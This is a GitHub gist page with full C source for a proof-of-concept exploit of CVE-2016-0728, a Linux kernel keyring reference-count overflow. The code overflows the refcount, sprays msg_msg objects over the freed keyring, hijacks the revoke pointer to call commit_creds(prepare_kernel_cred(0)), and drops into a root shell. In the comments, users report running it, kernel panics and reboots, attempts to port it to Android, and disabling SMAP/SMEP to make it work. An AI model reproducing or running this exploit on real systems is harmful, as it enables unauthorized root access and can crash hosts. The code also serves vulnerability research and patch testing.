/cve_2016_0728.c Secret
-
Star
(346)
You must be signed in to star a gist -
Fork
(208)
You must be signed in to fork a gist
-
-
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
| /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ | |
| /* $ ./cve_2016_072 PP_KEY */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/types.h> | |
| #include <keyutils.h> | |
| #include <unistd.h> | |
| #include <time.h> | |
| #include <unistd.h> | |
| #include <sys/ipc.h> | |
| #include <sys/msg.h> | |
| typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
| typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
| _commit_creds commit_creds; | |
| _prepare_kernel_cred prepare_kernel_cred; | |
| #define STRUCT_LEN (0xb8 - 0x30) | |
| #define COMMIT_CREDS_ADDR (0xffffffff81094250) | |
| #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) | |
| struct key_type { | |
| char * name; | |
| size_t datalen; | |
| void * vet_description; | |
| void * preparse; | |
| void * free_preparse; | |
| void * instantiate; | |
| void * update; | |
| void * match_preparse; | |
| void * match_free; | |
| void * revoke; | |
| void * destroy; | |
| }; | |
| void userspace_revoke(void * key) { | |
| commit_creds(prepare_kernel_cred(0)); | |
| } | |
| int main(int argc, const char *argv[]) { | |
| const char *keyring_name; | |
| size_t i = 0; | |
| unsigned long int l = 0x100000000/2; | |
| key_serial_t serial = -1; | |
| pid_t pid = -1; | |
| struct key_type * my_key_type = NULL; | |
| struct { long mtype; | |
| char mtext[STRUCT_LEN]; | |
| } msg = {0x4141414141414141, {0}}; | |
| int msqid; | |
| if (argc != 2) { | |
| puts("usage: ./keys <key_name>"); | |
| return 1; | |
| } | |
| printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
| commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; | |
| prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; | |
| my_key_type = malloc(sizeof(*my_key_type)); | |
| my_key_type->revoke = (void*)userspace_revoke; | |
| memset(msg.mtext, 'A', sizeof(msg.mtext)); | |
| // key->uid | |
| *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ | |
| //key->perm | |
| *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; | |
| //key->type | |
| *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; | |
| if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
| perror("msgget"); | |
| exit(1); | |
| } | |
| keyring_name = argv[1]; | |
| /* Set the new session keyring before we start */ | |
| serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); | |
| if (serial < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| puts("Increfing..."); | |
| for (i = 1; i < 0xfffffffd; i++) { | |
| if (i == (0xffffffff - l)) { | |
| l = l/2; | |
| sleep(5); | |
| } | |
| if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| } | |
| sleep(5); | |
| /* here we are going to leak the last references to overflow */ | |
| for (i=0; i<5; ++i) { | |
| if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| } | |
| puts("finished increfing"); | |
| puts("forking..."); | |
| /* allocate msg struct in the kernel rewriting the freed keyring object */ | |
| for (i=0; i<64; i++) { | |
| pid = fork(); | |
| if (pid == -1) { | |
| perror("fork"); | |
| return -1; | |
| } | |
| if (pid == 0) { | |
| sleep(2); | |
| if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
| perror("msgget"); | |
| exit(1); | |
| } | |
| for (i = 0; i < 64; i++) { | |
| if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { | |
| perror("msgsnd"); | |
| exit(1); | |
| } | |
| } | |
| sleep(-1); | |
| exit(1); | |
| } | |
| } | |
| puts("finished forking"); | |
| sleep(5); | |
| /* call userspace_revoke from kernel */ | |
| puts("caling revoke..."); | |
| if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { | |
| perror("keyctl_revoke"); | |
| } | |
| printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
| execl("/bin/sh", "/bin/sh", NULL); | |
| return 0; | |
| } |
Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64
[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$
Is it safe to run this PoC in production environment for checking if the patch has been applied?
no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:
- on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
- on CentOS 7 with kernel 3.10, it caused a reboot.
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg
Deletion keyutils.h, who can give me a document.
thank you..
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...
[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$
Whats wrong ?
So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$
i got the following error in android 7.1.1 in nexus6p:
"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"
@bactis can you please publish your final exploit including the make file?
@bactis
i attached here my make file and android.mk.
currently i get the following error:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
@bactis
i attached here the android.mk and make file.
currently this is the error i get:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)